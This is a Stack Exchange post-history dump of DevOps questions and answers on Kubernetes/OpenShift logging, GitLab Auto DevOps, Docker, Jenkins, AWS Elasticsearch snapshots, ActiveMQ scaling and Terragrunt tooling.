  <row Id="41408" PostHistoryTypeId="2" PostId="13453" RevisionGUID="cb93616d-0a08-4c67-b4eb-126055afcc3a" CreationDate="2021-02-28T22:38:12.927" UserId="15450" Text="We have a migration we are doing. I want to grab ALL of the logs as we are doing it. So if I start tailing and one of my pods shuts down, that should work OK however I don't see how to get the logs if a pod shuts down and is replaced and then that one shuts down say an hour later. By what means may I tail ALL of the logs **for a given application** regardless of startup/shutdown?  Note that our containers do not have sub-containers and we need to dump these logs to files for automated examination exo-post facto. " ContentLicense="CC BY-SA 4.0" />
  <row Id="41409" PostHistoryTypeId="1" PostId="13453" RevisionGUID="cb93616d-0a08-4c67-b4eb-126055afcc3a" CreationDate="2021-02-28T22:38:12.927" UserId="15450" Text="Given a set starting point, how can I tail ALL of the logs regardless of startup/shutdown of individual pods using the OC command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41410" PostHistoryTypeId="3" PostId="13453" RevisionGUID="cb93616d-0a08-4c67-b4eb-126055afcc3a" CreationDate="2021-02-28T22:38:12.927" UserId="15450" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41411" PostHistoryTypeId="2" PostId="13454" RevisionGUID="0dcd86ce-21a6-4a3a-8a2f-e2e2de1c7fc7" CreationDate="2021-03-01T12:15:54.423" UserId="3599" Text="https://docs.gitlab.com/ee/topics/autodevops/quick_start_guide.html#install-ingress&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Go back to the cluster page on GitLab, and go to the Details tab. Add&#xD;&#xA;&gt; your Base domain. For this guide, use the domain &lt;IP address&gt;.nip.io.&#xD;&#xA;&gt; Click Save changes.&#xD;&#xA;&#xD;&#xA;I think this option only showed up AFTER I installed the ingress." ContentLicense="CC BY-SA 4.0" />
  <row Id="41412" PostHistoryTypeId="2" PostId="13455" RevisionGUID="5ca5cad9-afe3-473f-919b-becd2a246c70" CreationDate="2021-03-01T12:18:00.107" UserId="3599" Text="https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;staging:&#xD;&#xA;  extends: .auto-deploy&#xD;&#xA;  stage: staging&#xD;&#xA;  script:&#xD;&#xA;    - auto-deploy check_kube_domain&#xD;&#xA;    - auto-deploy download_chart&#xD;&#xA;    - auto-deploy ensure_namespace&#xD;&#xA;    - auto-deploy initialize_tiller&#xD;&#xA;    - auto-deploy create_secret&#xD;&#xA;    - auto-deploy deploy&#xD;&#xA;  environment:&#xD;&#xA;    name: staging&#xD;&#xA;    url: http://$CI_PROJECT_PATH_SLUG-staging.$KUBE_INGRESS_BASE_DOMAIN&#xD;&#xA;  rules:&#xD;&#xA;    - if: '$CI_KUBERNETES_ACTIVE == null || $CI_KUBERNETES_ACTIVE == &quot;&quot;'&#xD;&#xA;      when: never&#xD;&#xA;    - if: '$CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH'&#xD;&#xA;      when: never&#xD;&#xA;    - if: '$STAGING_ENABLED'&#xD;&#xA; ```&#xD;&#xA;&#xD;&#xA;What does `auto-deploy` refer to? Is it a script? Where is it located? Where can I find out more info about it (because the staging stage is currently failing, and I'd like to debug what it's doing)?&#xD;&#xA;&#xD;&#xA;The failing job logs:&#xD;&#xA;```&#xD;&#xA;To get the password for &quot;user&quot; run:&#xD;&#xA;    export POSTGRES_PASSWORD=$(kubectl get secret --namespace initial-24739737-staging staging-postgresql -o jsonpath=&quot;{.data.postgresql-password}&quot; | base64 --decode)&#xD;&#xA;To connect to your database run the following command:&#xD;&#xA;    kubectl run staging-postgresql-client --rm --tty -i --restart='Never' --namespace initial-24739737-staging --image docker.io/bitnami/postgresql:9.6.16 --env=&quot;PGPASSWORD=$POSTGRES_PASSWORD&quot; --command -- psql --host staging-postgresql -U user -d staging -p 5432&#xD;&#xA;To connect to your database from outside the cluster execute the following commands:&#xD;&#xA;    kubectl port-forward --namespace initial-24739737-staging svc/staging-postgresql 5432:5432 &amp;&#xD;&#xA;    PGPASSWORD=&quot;$POSTGRES_PASSWORD&quot; psql --host 127.0.0.1 -U user -d staging -p 5432&#xD;&#xA;WARNING: Rolling tag detected (bitnami/postgresql:9.6.16), please note that it is strongly recommended to avoid using rolling tags in a production environment.&#xD;&#xA;+info https://docs.bitnami.com/containers/how-to/understand-rolling-tags-containers/&#xD;&#xA;Validating chart version...&#xD;&#xA;Fetching the previously deployed chart version... &#xD;&#xA;Fetching the deploying chart version... v1.0.7&#xD;&#xA;secret &quot;staging-secret&quot; deleted&#xD;&#xA;secret/staging-secret replaced&#xD;&#xA;No helm values file found at '.gitlab/auto-deploy-values.yaml'&#xD;&#xA;Deploying new stable release...&#xD;&#xA;Release &quot;staging&quot; does not exist. Installing it now.&#xD;&#xA;INSTALL FAILED&#xD;&#xA;PURGING CHART&#xD;&#xA;Error: release staging failed: timed out waiting for the condition&#xD;&#xA;Successfully purged a chart!&#xD;&#xA;Error: release staging failed: timed out waiting for the condition&#xD;&#xA;Cleaning up file based variables&#xD;&#xA;00:00&#xD;&#xA;ERROR: Job failed: exit code 1&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41413" PostHistoryTypeId="1" PostId="13455" RevisionGUID="5ca5cad9-afe3-473f-919b-becd2a246c70" CreationDate="2021-03-01T12:18:00.107" UserId="3599" Text="Where/what is the `auto-devops` script in gitlab's &quot;auto devops&quot; staging stage?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41414" PostHistoryTypeId="3" PostId="13455" RevisionGUID="5ca5cad9-afe3-473f-919b-becd2a246c70" CreationDate="2021-03-01T12:18:00.107" UserId="3599" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41415" PostHistoryTypeId="2" PostId="13456" RevisionGUID="57a4249f-7ffc-48bd-b25f-3b7b5a153a1b" CreationDate="2021-03-01T12:59:37.157" UserId="3599" Text="Probably this https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/blob/master/src/bin/auto-deploy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;....................................................................." ContentLicense="CC BY-SA 4.0" />
  <row Id="41416" PostHistoryTypeId="2" PostId="13457" RevisionGUID="79af9456-7ee0-4445-b2fc-22febc9f67ef" CreationDate="2021-03-01T15:15:12.880" UserId="26377" Text="I would just have a base dockerfile that have the things in common for most of the platform:&#xD;&#xA;&#xD;&#xA;    docker build . -t mybaseimage:0.0.1&#xD;&#xA;&#xD;&#xA;Then I would have multiple dockerfiles that can use this base images, an example for your amd64 dockerfile DockerfileAMD64:&#xD;&#xA;&#xD;&#xA;    FROM mybaseimage:0.0.1&#xD;&#xA;    &#xD;&#xA;    RUN apt install dosemu -y&#xD;&#xA;&#xD;&#xA;and you can build it with:&#xD;&#xA;&#xD;&#xA;    docker build -f DockerfileAMD64&#xD;&#xA;&#xD;&#xA;That way you can version control these files without changing the FROM tag, you can even put this in a CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41417" PostHistoryTypeId="5" PostId="13457" RevisionGUID="ab91c877-9fab-439a-8575-3ae46d403af0" CreationDate="2021-03-01T15:21:11.370" UserId="26377" Comment="deleted 16 characters in body" Text="I would just have a base script that have the things in common for most of the platform like base_install.sh&#xD;&#xA;&#xD;&#xA;Then I would have multiple dockerfiles that can use this base script, an example for your amd64 dockerfile DockerfileAMD64:&#xD;&#xA;&#xD;&#xA;    FROM mybase64image&#xD;&#xA;    &#xD;&#xA;    RUN ./base_install.sh&#xD;&#xA;    RUN apt-get install specific64things -y&#xD;&#xA;&#xD;&#xA;and you can build it with:&#xD;&#xA;&#xD;&#xA;    docker build -f DockerfileAMD64&#xD;&#xA;&#xD;&#xA;That way you can version control these files without duplicating code between the dockerfiles.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41426" PostHistoryTypeId="2" PostId="13460" RevisionGUID="8435f819-96bf-4bd9-a445-069542f10f7c" CreationDate="2021-03-02T08:41:02.580" UserId="21656" Text="We run Jenkins pipeline on docker container. During the run, we mount host's .m2 to container's with -&#xD;&#xA;&#xD;&#xA;    -v $HOME/.m2:/usr/share/.m2&#xD;&#xA;&#xD;&#xA;When host's .m2 mounted into container's `/usr/share/.m2` maven build takes 4 times longer than usual. This is because everytime, it downloads artifacts even though those are present in host's .m2 repo.&#xD;&#xA;&#xD;&#xA;But if mounting is changed to root's .m2 like following, maven build completes fast as it ignores artifacts which are already downloaded in host's .m2 repo -&#xD;&#xA;&#xD;&#xA;    -v $HOME/.m2:/root/.m2&#xD;&#xA;&#xD;&#xA;This seems to have correct mounting.&#xD;&#xA;&#xD;&#xA;Could you please help to understand why mounting to `/usr/share/.m2` does fresh download and `/root/.m2` works as expected by taking host's .m2 into consideration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41427" PostHistoryTypeId="1" PostId="13460" RevisionGUID="8435f819-96bf-4bd9-a445-069542f10f7c" CreationDate="2021-03-02T08:41:02.580" UserId="21656" Text="Why maven build slows in docker container when local maven repo mapped to container's /usr/share/?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41428" PostHistoryTypeId="3" PostId="13460" RevisionGUID="8435f819-96bf-4bd9-a445-069542f10f7c" CreationDate="2021-03-02T08:41:02.580" UserId="21656" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41429" PostHistoryTypeId="2" PostId="13461" RevisionGUID="26f4cd4d-e494-47df-a2a2-b2f048cdc83c" CreationDate="2021-03-02T10:38:40.317" UserId="21920" Text="**The requirement** - A customer requires an automated mechanism that takes a [manual snapshot](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-managedomains-snapshots.html#es-managedomains-snapshot-create) of an AWS ElasticSearch domain (production) on a daily basis. The target of the snapshot is an AWS S3 bucket.&#xD;&#xA;&#xD;&#xA;**Expected flow**&#xD;&#xA;&#xD;&#xA;1. Schedule Daily @ 2am --&gt; start process --&gt; take snapshot --&gt; wait 5 min --&gt; check snapshot status (success/in_progress/failed)&#xD;&#xA;1. if `state==IN_PROGRESS`, check snapshot status again, up to 10 times, interval of 5 mins&#xD;&#xA;   - `state==SUCCESS` - end process (success)&#xD;&#xA;   - `state==IN_PROGRESS` - when reaching 10 retries (50 mins), end process (failed)&#xD;&#xA;   - `state==FAILED` - end process (failed)&#xD;&#xA;1. If previous step failed, send push notification (Slack/Teams/Email/etc.)&#xD;&#xA;&#xD;&#xA;**Motivation** - The automated snapshots that are taken by AWS can be used for disaster recovery or a failure in an upgrade, they cannot be used if someone by accident (yes, it happened) deleted the whole ElasticSearch cluster.&#xD;&#xA;&#xD;&#xA;Haven't found an out-of-the-box Lambda/mechanism that meets the requirements. Suggestions? Thoughts?&#xD;&#xA;&#xD;&#xA;p.s- I did a POC with AWS Step Functions + Lambda in VPC, which seems to be working, but I'd rather use a managed service or a living open-source project.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Originally posted at [stackoverflow](https://stackoverflow.com/questions/66437484/aws-elasticsearch-automating-manual-snapshots)" ContentLicense="CC BY-SA 4.0" />
  <row Id="41430" PostHistoryTypeId="1" PostId="13461" RevisionGUID="26f4cd4d-e494-47df-a2a2-b2f048cdc83c" CreationDate="2021-03-02T10:38:40.317" UserId="21920" Text="AWS ElasticSearch - Automating manual snapshots" ContentLicense="CC BY-SA 4.0" />
  <row Id="41431" PostHistoryTypeId="3" PostId="13461" RevisionGUID="26f4cd4d-e494-47df-a2a2-b2f048cdc83c" CreationDate="2021-03-02T10:38:40.317" UserId="21920" Text="&lt;amazon-web-services&gt;&lt;elasticsearch&gt;&lt;snapshot&gt;&lt;retention&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41432" PostHistoryTypeId="5" PostId="13438" RevisionGUID="d110ccd9-c425-440b-b030-b9d87fda5344" CreationDate="2021-03-02T11:24:45.827" UserId="354" Comment="add some formatting" Text="I have a jenkins job **A** and i have 5 tests (each triggering job **A** with updation of different jenkinsfile script path as Before Each test) executing in **parallel** &#xD;&#xA;&#xD;&#xA;- Test1 with pipeline-jenkinfile-1&#xD;&#xA;- Test2 with pipeline-jenkinfile-2&#xD;&#xA;- Test3 with pipeline-jenkinfile-3&#xD;&#xA;- Test4 with pipeline-jenkinfile-4&#xD;&#xA;- Test5 with pipeline-jenkinfile-5&#xD;&#xA;&#xD;&#xA;When I start the tests in parallel, I can see 5 instance of same job getting triggered but **each test is updated with incorrect jenkinsfile.**&#xD;&#xA;&#xD;&#xA;- Test**1** with pipeline-**jenkinfile-4**&#xD;&#xA;- Test**2** with pipeline-**jenkinfile-3**&#xD;&#xA;- Test3 with pipeline-jenkinfile-1&#xD;&#xA;- Test4 with pipeline-jenkinfile-5&#xD;&#xA;- Test5 with pipeline-jenkinfile-2&#xD;&#xA;&#xD;&#xA;Running on same node - NODE A&#xD;&#xA;&#xD;&#xA;Test 1 Before step: Updating the jenkins job pipeline jenkinsFile script path using API &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;curl -X POST http://developer:developer@localhost:8080/job/test/config.xml --data-binary &quot;@mymodifiedlocalconfig.xml&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And i trigger the job with buildwithParameters using rest api &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;curl -X POST http://USER:API_TOKEN@localhost:8080/job/test/build --data-urlencode json='{&quot;parameter&quot;: [{&quot;name&quot;:&quot;paramA&quot;, &quot;value&quot;:&quot;123&quot;}]}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How to fix this such a way in parallel execution test update with correct jenkinsfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41433" PostHistoryTypeId="2" PostId="13462" RevisionGUID="41a9cc1c-3aa0-4406-934b-30e6bd872449" CreationDate="2021-03-02T12:53:23.153" UserId="26197" Text="**Setup**: I have 10 Photovoltaics based setup where IOT Gateway get data from sensors, devices and send to Kubernetes Cluster. K8S cluster exposed its ActiveMQ broker with NodePort.&#xD;&#xA;&#xD;&#xA;**Observation**: AMQ has been scheduled on Node2 and i observed that CPU usage of this node is around 75%, As we are collecting lot of messages, But other nodes CPU usage is like 8% to 20%. If we put more load this CPU might reach to 100%.&#xD;&#xA;&#xD;&#xA;Although we have CPU resource available but we cant use it, How can I do optimal usage of resources?&#xD;&#xA;&#xD;&#xA;I read Apache Mesos and DC/OS but i think still its not possible to run a container workload which requests more cpu /memory than available on its single largest physical/virtul host.&#xD;&#xA;&#xD;&#xA;Any thoughts in this regard?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41434" PostHistoryTypeId="1" PostId="13462" RevisionGUID="41a9cc1c-3aa0-4406-934b-30e6bd872449" CreationDate="2021-03-02T12:53:23.153" UserId="26197" Text="How to consolidate multiple servers for CPU and Memory with Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41435" PostHistoryTypeId="3" PostId="13462" RevisionGUID="41a9cc1c-3aa0-4406-934b-30e6bd872449" CreationDate="2021-03-02T12:53:23.153" UserId="26197" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41436" PostHistoryTypeId="2" PostId="13463" RevisionGUID="421584b9-8473-43d6-bc72-b77e2117c1db" CreationDate="2021-03-02T12:58:20.727" UserId="26404" Text="I have the following healthcheck condition for a nginx container inside my docker-compose.yml file:&#xD;&#xA;&#xD;&#xA;    healthcheck:&#xD;&#xA;      test: [&quot;CMD&quot;, &quot;curl&quot;, &quot;-f&quot;, &quot;http://front-service:80&quot;]&#xD;&#xA;      interval: 15s&#xD;&#xA;      timeout: 5s&#xD;&#xA;      retries: 5&#xD;&#xA;&#xD;&#xA;The problem is that I see in the logs continuous calls to `http://front-service:80` even after nginx is running fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    front-service    | 172.18.0.4 - - [02/Mar/2021:09:58:23 -0300] &quot;GET / HTTP/1.1&quot; 200 2611 &quot;-&quot; &quot;curl/7.64.0&quot; &quot;-&quot;&#xD;&#xA;    front-service    | 172.18.0.4 - - [02/Mar/2021:09:58:38 -0300] &quot;GET / HTTP/1.1&quot; 200 2611 &quot;-&quot; &quot;curl/7.64.0&quot; &quot;-&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Wouldn't the correct behaviour be that if the check succeeds, it stops pinging my frontend endpoint? I don't want it to keep pinging after it finds out that the server is alive." ContentLicense="CC BY-SA 4.0" />
  <row Id="41437" PostHistoryTypeId="1" PostId="13463" RevisionGUID="421584b9-8473-43d6-bc72-b77e2117c1db" CreationDate="2021-03-02T12:58:20.727" UserId="26404" Text="Nginx healthcheck does not stop" ContentLicense="CC BY-SA 4.0" />
  <row Id="41438" PostHistoryTypeId="3" PostId="13463" RevisionGUID="421584b9-8473-43d6-bc72-b77e2117c1db" CreationDate="2021-03-02T12:58:20.727" UserId="26404" Text="&lt;docker-compose&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41443" PostHistoryTypeId="50" PostId="11916" RevisionGUID="6862662f-1a76-4495-bd6d-7c7c1e8456ca" CreationDate="2021-03-02T17:05:20.620" UserId="-1" />
  <row Id="41444" PostHistoryTypeId="50" PostId="13056" RevisionGUID="2486b5ee-d380-43af-8d4b-3d21af2a2fce" CreationDate="2021-03-02T19:02:10.270" UserId="-1" />
  <row Id="41445" PostHistoryTypeId="5" PostId="13424" RevisionGUID="f54cb405-43ea-4e5c-981b-6acda8395557" CreationDate="2021-03-02T19:58:29.450" UserId="739" Comment="copy editing title" Text="I am having some troubles finding a better model for my CI/CD cycle.&#xD;&#xA;&#xD;&#xA;This is mainly gitflow issue.&#xD;&#xA;&#xD;&#xA;My current model : We have 2 bitbucket branches : master and develop.&#xD;&#xA;&#xD;&#xA;Both are linked via webhooks to jenkins to be deployed to prod. and dev. servers.&#xD;&#xA;&#xD;&#xA;QA team for testing features and releases on dev. server.&#xD;&#xA;&#xD;&#xA;Team of developers for both frontend and for backend. With lots of troubles.&#xD;&#xA;&#xD;&#xA;The problem : Team manager wants to be able to have better control over accepted/rejected features. Say : developer1 committed a feature to develop branch, developer2 added a hotfix to develop, we want QA team to easily test them both separately, and then testing both together with the least hassle possible. And afterwards easily select what commit stays and moved to master branch.&#xD;&#xA;&#xD;&#xA;As I said, this is mainly gitflow issue.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41446" PostHistoryTypeId="4" PostId="13424" RevisionGUID="f54cb405-43ea-4e5c-981b-6acda8395557" CreationDate="2021-03-02T19:58:29.450" UserId="739" Comment="copy editing title" Text="Is there a better model for my CI/CD cycle?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41447" PostHistoryTypeId="2" PostId="13465" RevisionGUID="0b4e841f-ae57-4f92-b625-00c8fdad02c1" CreationDate="2021-03-02T20:12:59.107" UserId="12469" Text="I have a self-hosted Gitea organization, and the way to access the repos requires some &quot;secret&quot; `extraheader` in .gitconfig. (2FA is also enabled)&#xD;&#xA;&#xD;&#xA;When I look at Jenkins &quot;Configure System&quot; settings, under the &quot;Git plugin&quot; section, it seems that the only .gitconfig options I can change through the UI are &quot;user.name&quot; and &quot;user.email&quot;.&#xD;&#xA;&#xD;&#xA;Is there any way I can change extra .gitconfig settings, such as adding `http.[url].extraheader`, or a way to run `git config --global` commands, before a `git clone` or `git pull` is performed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41448" PostHistoryTypeId="1" PostId="13465" RevisionGUID="0b4e841f-ae57-4f92-b625-00c8fdad02c1" CreationDate="2021-03-02T20:12:59.107" UserId="12469" Text="Jenkins Docker - Make changes to gitconfig" ContentLicense="CC BY-SA 4.0" />
  <row Id="41449" PostHistoryTypeId="3" PostId="13465" RevisionGUID="0b4e841f-ae57-4f92-b625-00c8fdad02c1" CreationDate="2021-03-02T20:12:59.107" UserId="12469" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;git&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41450" PostHistoryTypeId="2" PostId="13466" RevisionGUID="d4da79b1-2e10-4d9f-be00-4c3e87a307cf" CreationDate="2021-03-02T22:39:51.150" UserId="18637" Text="I'm having troubles using HCL files at VSCode. When I open the HCL file the indentations are messy. So I fix it and close the file, when I open again...messy again...&#xD;&#xA;Someone know a add-ons to works with HCL files?&#xD;&#xA;&#xD;&#xA;The official [Terraform from Hachicorp][1] not works, because I'm using Terragrunt Syntax.&#xD;&#xA;I tried too the another called [Hashicorp HCL][2], but the bugs continues...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://marketplace.visualstudio.com/items?itemName=HashiCorp.terraform&#xD;&#xA;  [2]: https://marketplace.visualstudio.com/items?itemName=wholroyd.HCL" ContentLicense="CC BY-SA 4.0" />
  <row Id="41451" PostHistoryTypeId="1" PostId="13466" RevisionGUID="d4da79b1-2e10-4d9f-be00-4c3e87a307cf" CreationDate="2021-03-02T22:39:51.150" UserId="18637" Text="Terragrunt Linter" ContentLicense="CC BY-SA 4.0" />
  <row Id="41452" PostHistoryTypeId="3" PostId="13466" RevisionGUID="d4da79b1-2e10-4d9f-be00-4c3e87a307cf" CreationDate="2021-03-02T22:39:51.150" UserId="18637" Text="&lt;terraform&gt;&lt;terragrunt&gt;&lt;hcl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41453" PostHistoryTypeId="2" PostId="13467" RevisionGUID="bcc2bafb-d61d-4e70-b6c7-6fc14deb8e3f" CreationDate="2021-03-03T04:37:40.237" UserId="26409" Text="Here's a [link](https://github.com/githubixx/ansible-role-wireguard) to another ansible role that may meet your requirements.  The author of the role says:&#xD;&#xA;&#xD;&#xA;&gt; I use WireGuard to setup a fully meshed VPN (every host can directly connect to&#xD;&#xA;&gt; every other host) and run my Kubernetes (K8s) cluster at Hetzner Cloud (but you&#xD;&#xA;&gt; should be able to use any hoster you want). So the important components like the&#xD;&#xA;&gt; K8s controller and worker nodes (which includes the pods) only communicate via&#xD;&#xA;&gt; encrypted WireGuard VPN. Also (as already mentioned) I've two clients. Both have&#xD;&#xA;&gt; kubectl installed and are able to talk to the internal Kubernetes API server by&#xD;&#xA;&gt; using WireGuard VPN. &#xD;&#xA;&#xD;&#xA;I reviewed the tasks and the template, but I haven't tried it out yet myself.  It supports different versions of linux. It installs wireguard. It handles key generation, distribution, and wireguard configuration for a full mesh VPN.   For each host it configures an interface with the host's private key as well as peer configuration for all the other hosts using their own public keys. You can set variables in the ansible inventory for each host (e.g. addresses) to tailor the configurations to your network.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41454" PostHistoryTypeId="5" PostId="13467" RevisionGUID="054c1cc7-b755-439c-a021-2437097a09cc" CreationDate="2021-03-03T04:53:33.653" UserId="26409" Comment="added 3 characters in body" Text="The &#xD;&#xA;[githubixx wireguard ansible role](https://github.com/githubixx/ansible-role-wireguard) might be what you are looking for.  The author of the role says:&#xD;&#xA;&#xD;&#xA;&gt; I use WireGuard to setup a fully meshed VPN (every host can directly connect to&#xD;&#xA;&gt; every other host) and run my Kubernetes (K8s) cluster at Hetzner Cloud (but you&#xD;&#xA;&gt; should be able to use any hoster you want). So the important components like the&#xD;&#xA;&gt; K8s controller and worker nodes (which includes the pods) only communicate via&#xD;&#xA;&gt; encrypted WireGuard VPN. Also (as already mentioned) I've two clients. Both have&#xD;&#xA;&gt; kubectl installed and are able to talk to the internal Kubernetes API server by&#xD;&#xA;&gt; using WireGuard VPN. &#xD;&#xA;&#xD;&#xA;I reviewed the tasks and the template, but I haven't tried it out yet myself.  It supports different versions of linux. It installs wireguard. It handles key generation, distribution, and wireguard configuration for a full mesh VPN.   For each host it configures an interface with the host's private key as well as peer configuration for all the other hosts using their own public keys. You can set variables in the ansible inventory for each host (e.g. addresses) to tailor the configurations to your network.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41455" PostHistoryTypeId="2" PostId="13468" RevisionGUID="47cdc23c-984b-4a43-b205-621f351a2d0d" CreationDate="2021-03-03T08:07:39.537" UserId="326" Text="Currently, there is only one extension for Visual Studio Code which highlights Terragrunt - https://marketplace.visualstudio.com/items?itemName=4ops.terraform&#xD;&#xA;&#xD;&#xA;It is better than nothing.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You can also format Terragrunt configurations before git commit automatically using [pre-commit](https://www.pre-commit.com/) and [such config](https://github.com/terraform-aws-modules/meta/blob/master/.pre-commit-config.yaml)." ContentLicense="CC BY-SA 4.0" />
  <row Id="41456" PostHistoryTypeId="2" PostId="13469" RevisionGUID="610b5484-a162-4d7d-95d8-06e29afdf11c" CreationDate="2021-03-03T10:12:17.300" UserId="21533" Text="I'm looking to add a step to Buildkite Pipeline, that would run certain commands (execute shell file basically) and set some ENV variables that I can use as conditionals in consequent steps. Is it possible? Or is there any alternative?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41457" PostHistoryTypeId="1" PostId="13469" RevisionGUID="610b5484-a162-4d7d-95d8-06e29afdf11c" CreationDate="2021-03-03T10:12:17.300" UserId="21533" Text="Is it possible to set ENV vars dynamically in Buildkite Pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41458" PostHistoryTypeId="3" PostId="13469" RevisionGUID="610b5484-a162-4d7d-95d8-06e29afdf11c" CreationDate="2021-03-03T10:12:17.300" UserId="21533" Text="&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41459" PostHistoryTypeId="2" PostId="13470" RevisionGUID="2ea748f4-1ca8-47c8-8641-0e1be18334c9" CreationDate="2021-03-03T12:43:48.717" UserId="26413" Text="I'm in the starting blocks of a project that will have many teams delivering many applications/utilities that can benefit som similar structures and settings.&lt;br&gt;&#xD;&#xA;I know for instance that you can add a `.gitlab/merge_request_templates\Default.md` that can contain a default structure for a merge request description.&lt;br&gt;&#xD;&#xA;What else can i do in this `.gitlab` folder?&lt;br&gt;&#xD;&#xA;I'd be thrilled if you could point me to some docs for this!" ContentLicense="CC BY-SA 4.0" />
  <row Id="41460" PostHistoryTypeId="1" PostId="13470" RevisionGUID="2ea748f4-1ca8-47c8-8641-0e1be18334c9" CreationDate="2021-03-03T12:43:48.717" UserId="26413" Text="What can You do in the .gitlab folder" ContentLicense="CC BY-SA 4.0" />
  <row Id="41461" PostHistoryTypeId="3" PostId="13470" RevisionGUID="2ea748f4-1ca8-47c8-8641-0e1be18334c9" CreationDate="2021-03-03T12:43:48.717" UserId="26413" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41462" PostHistoryTypeId="2" PostId="13471" RevisionGUID="83bed81d-0c3a-48f2-bbf1-6f99fc1d3ca8" CreationDate="2021-03-03T14:00:59.943" UserId="26419" Text="I think you can just include_vars at directory level with `dir`&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;      - name: &quot;Read my pets from pets folder&quot;&#xD;&#xA;        include_vars:&#xD;&#xA;          dir: &quot;pets&quot;&#xD;&#xA;          name: all_pets" ContentLicense="CC BY-SA 4.0" />
  <row Id="41463" PostHistoryTypeId="2" PostId="13472" RevisionGUID="50863475-883a-4a69-82a6-742013ac1675" CreationDate="2021-03-03T14:26:32.437" UserId="26253" Text="The difficulties we encountered with a single pod rolling update are already explained here:&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/46369100/kubernetes-rolling-update-killing-off-old-pod-without-bringing-up-new-one&#xD;&#xA;&#xD;&#xA;The solution to us was multifaceted.  First, we needed to set `MaxUnavailable = 0` and `MaxSurge=2`.  We then needed to setup a persistent volume claim, so that the pods could share disk.  If each pod has its own disk, then the pods would just hang, as the second pod is never &quot;available&quot; to take over." ContentLicense="CC BY-SA 4.0" />
  <row Id="41465" PostHistoryTypeId="2" PostId="13473" RevisionGUID="177177ce-ba22-424c-8bf9-7dbfb2adafcb" CreationDate="2021-03-03T15:35:59.723" UserId="26407" Text="Since Pod is running on single node it can use resources from this node only. And CPU/MEM can't be shared here. At least without special software for distributed computation.&#xD;&#xA;&#xD;&#xA;In your case you should consider using ActiveMQ Clustering (https://activemq.apache.org/clustering). In that way you will be able to spread load across multiple k8s nodes with ActiveMQ pods running on them.&#xD;&#xA;&#xD;&#xA;So use k8s Deployment + pod affinity to be sure pods will be scheduled to different nodes." ContentLicense="CC BY-SA 4.0" />
  <row Id="41469" PostHistoryTypeId="2" PostId="13475" RevisionGUID="7e540f8b-475a-43ef-bf0e-bcaf18ea91cf" CreationDate="2021-03-03T20:41:13.877" UserId="4115" Text="As far as I can tell, there is no way to tweak arbitrary git config settings from within Jenkins.  You would have to tweak your git config on your build agents.  If you're using permanent agents, this would involve logging in as the jenkins user and running `git config --global ...`.  If you're using docker build agents, then you would need to bake the git config settings into your image." ContentLicense="CC BY-SA 4.0" />
